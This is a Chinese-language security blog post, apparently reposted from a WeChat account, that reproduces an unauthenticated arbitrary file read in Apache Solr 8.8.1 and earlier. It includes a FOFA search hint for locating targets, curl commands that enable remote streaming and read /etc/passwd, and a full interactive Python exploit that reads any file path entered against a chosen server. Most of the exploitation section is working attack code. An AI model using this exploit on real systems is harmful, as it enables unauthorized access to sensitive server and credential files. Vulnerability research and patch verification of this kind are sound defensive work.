Apache Solr 任意文件读取漏洞

admin 2021年3月18日04:21:39评论301 views字数 3433阅读11分26秒阅读模式


点击蓝字

Apache Solr 任意文件读取漏洞

关注我们



声明

本文作者:PeiQi
本文字数:1594

阅读时长:5min

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。



前言


WgpSec·玄狼 漏洞复现组招收师傅 

有意者简历投至 

[email protected]


一、

漏洞描述

Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件

Apache Solr 任意文件读取漏洞

二、

漏洞影响

Apache Solr <= 8.8.1

三、

漏洞复现

看文章的时候发现有师傅发了 Apache Solr 的文件读取漏洞

Apache Solr 任意文件读取漏洞

那就复现一波啦
FOFA:Apache Solr <= 8.8.1
访问 Solr Admin 管理员页面

Apache Solr 任意文件读取漏洞

获取core的信息http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

Apache Solr 任意文件读取漏洞


发送请求

Apache Solr 任意文件读取漏洞

再进行文件读取

Apache Solr 任意文件读取漏洞

Apache Solr 任意文件读取漏洞

Curl请求为curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://xxx.xxx.xxx.xxx:8983/solr/{corename}/config -H 'Content-type:application/json'curl "http://xxx.xxx.xxx.xxx:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file://etc/passwd" 

四、

漏洞POC

POC还是建立在未授权访问的情况下
import requestsimport sysimport randomimport reimport base64import timefrom lxml import etreeimport jsonfrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title(): print('+------------------------------------------') print('+ 33[34mPOC_Des: http://wiki.peiqi.tech 33[0m') print('+ 33[34mGithub : https://github.com/PeiQi0 33[0m') print('+ 33[34m公众号 : PeiQi文库 33[0m') print('+ 33[34mVersion: Apache Solr < 8.2.0 33[0m') print('+ 33[36m使用格式: python3 poc.py 33[0m') print('+ 33[36mUrl >>> http://xxx.xxx.xxx.xxx:8983 33[0m') print('+ 33[36mFile >>> 文件名称或目录 33[0m') print('+------------------------------------------')
def POC_1(target_url): core_url = target_url + "/solr/admin/cores?indexInfo=false&wt=json" try: response = requests.request("GET", url=core_url, timeout=10) core_name = list(json.loads(response.text)["status"])[0] print("33[32m[o] 成功获得core_name,Url为:" + target_url + "/solr/" + core_name + "/config33[0m") return core_name except: print("33[31m[x] 目标Url漏洞利用失败33[0m") sys.exit(0)
def POC_2(target_url, core_name): vuln_url = target_url + "/solr/" + core_name + "/config" headers = { "Content-type":"application/json" } data = '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) print("33[36m[o] 正在准备文件读取...... 33[0m".format(target_url)) if "This" in response.text and response.status_code == 200: print("33[32m[o] 目标 {} 可能存在漏洞 33[0m".format(target_url)) else: print("33[31m[x] 目标 {} 不存在漏洞33[0m".format(target_url)) sys.exit(0)
except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
def POC_3(target_url, core_name, File_name): vuln_url = target_url + "/solr/{}/debug/dump?param=ContentStreams".format(core_name) headers = { "Content-Type": "application/x-www-form-urlencoded" } data = 'stream.url=file://{}'.format(File_name) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5) if "No such file or directory" in response.text: print("33[31m[x] 读取{}失败 33[0m".format(File_name)) else: print("33[36m[o] 响应为:n{} 33[0m".format(json.loads(response.text)["streams"][0]["stream"]))

except Exception as e: print("33[31m[x] 请求失败 33[0m", e)
if __name__ == '__main__': title() target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m")) core_name = POC_1(target_url) POC_2(target_url, core_name) while True: File_name = str(input("33[35mFile >>> 33[0m")) POC_3(target_url, core_name, File_name)

Apache Solr 任意文件读取漏洞


五、

参考文章

https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ


作者



Apache Solr 任意文件读取漏洞

PeiQi

    感谢观看啦~




扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


Apache Solr 任意文件读取漏洞
Apache Solr 任意文件读取漏洞


本文始发于微信公众号(WgpSec狼组安全团队):Apache Solr 任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年3月18日04:21:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Solr 任意文件读取漏洞http://cn-sec.com/archives/294520.html

发表评论

匿名网友 填写信息